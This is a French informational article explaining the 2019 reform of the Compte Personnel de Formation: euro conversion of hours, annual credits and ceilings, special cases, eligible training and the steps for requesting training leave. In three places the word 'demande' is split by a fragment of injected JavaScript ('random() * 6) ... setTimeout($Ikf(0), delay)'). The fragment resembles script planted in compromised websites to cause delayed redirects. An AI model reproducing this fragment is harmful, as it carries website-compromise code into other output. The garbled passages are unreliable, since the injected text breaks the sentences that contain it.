La Loi Avenir Professionnel du 5 Septembre a provoqué de nombreux changements, notamment pour la formation des salariés. Ces changements incluent le Compte Personnel de Formation, dont les nouvelles modalités s’appliquent depuis le 1^er Janvier 2019.

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C’est quoi le CPF ?

Le Compte Personnel de Formation permet à toute personne, salariée ou demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andeur d’emploi, de suivre une action de formation. Il accompagne son titulaire dès l’entrée dans la vie professionnelle, tout au long de sa carrière jusqu’au départ en retraite.

Qui prend en charge les frais de formation ?

Entre le 1^er janvier et le 31 décembre 2019, les frais de formation sont pris en charge par les OPCO (précédemment OPCA). A partir du 1^er janvier 2020, ce sera la Caisse des Dépôts qui prendra en charge la gestion technique et financière des formations.

La monétisation du Compte Personnel de Formation

Jusqu’au 31 décembre 2018, les salariés à temps plein accumulaient un nombre d’heures leur permettant de se former sur leur temps de travail. Désormais, les heures inscrites sur le CPF jusqu’au 31 Décembre 2018 sont converties en euros. Une heure de formation équivaut à 15€.

Depuis le 1^er Janvier 2019, le compte professionnel de formation crédite directement au salarié une somme en euros.

À quel montant a droit un salarié sur son Compte Personnel de Formation ?

Cas généraux

Pour tout salarié travaillant à temps plein ou à temps partiel, le CPF est crédité de 500€ par an, pour un plafond maximal de 5000€. Ce montant s’applique également aux travailleurs indépendants, aux professions libérales et non salariées si la personne a travaillé au titre d’une année entière (sinon, les droits sont proratisés).
Ensuite, concernant les salariés travaillant à temps partiel dont la durée de travail est inférieure à un mi-temps, leurs droits au CPF sont proratisés en fonction de leur durée de travail à l’année.
Pour les salariés qui bénéficient d’une convention en forfaits jours à l’année, leurs droits seront calculés en fonction du nombre de jours compris dans leur forfait, dans la limite de 218 jours.
Enfin, pour les salariés dont la rémunération n’est pas définie en fonction d’un horaire (cadre par exemple), leurs droits au CPF sont calculés d’après leur rémunération annuelle, rapportée à un montant de référence fixé à 2080 fois le SMIC horaire.

Cas exceptionnels

Les salariés peu ou pas qualifiés bénéficient d’une majoration du montant sur leur CPF. Pour pouvoir en bénéficier, le salarié doit remplir une déclaration renseignant son niveau de diplômes au moyen du service dématérialisé du CPF.
Les travailleurs accueillis dans un Établissement ou un Service d’Aide par le Travail (ESAT) bénéficient également d’une majoration du CPF. Leurs droits s’élèvent à 800€ par an par an pour toute admission à temps plein ou partielle dans un ESAT. Le plafond annuel maximal est de 8000 €.
Concernant les victimes d’AT-MP (accident du travail – Maladie Professionnelle), les personnes atteintes d’une incapacité permanente d’au moins 10% bénéficient d’une augmentation du CPF. En effet, dans le cadre de leur reconversion professionnelle, ces personnes ont droit à une formation qualifiante rémunérée par cette somme supplémentaire. Le montant de cette augmentation du CPF s’élève à 7500€.

Quelles formations le CPF peut-il financer?

Désormais, le CPF permet de financer toute action de formation délivrant :

Un diplôme ou un titre enregistré au Répertoire National des certifications professionnelles (RNCP).
Une certification ou une habilitation inscrite au répertoire spécifique.
Une attestation de validation de blocs de compétences.

D’autres actions sont également éligibles au CPF, comme :

Les actions permettant de faire valider les acquis de l’expérience (VAE).
Les bilans de compétences.
La préparation au permis de conduire.
Les actions de formations d’accompagnement et de conseil pour les entrepreneurs.
Les actions de formation pour les bénévoles et volontaires en service civique.

Quelles sont les démarches pour pouvoir mobiliser son CPF ?

Un salarié souhaitant se former doit adresser une demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande d’autorisation d’absence à son employeur. Celui-ci aura alors 30 jours pour lui notifier sa réponse. Passé ce délai, l’absence de réponse vaut pour accord.

Le salarié doit formuler cette demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande :

au moins 60 jours calendaires avant le début de sa formation si elle dure moins de 6 mois,
et au moins 120 jours calendaires avant si elle dure 6 mois ou plus.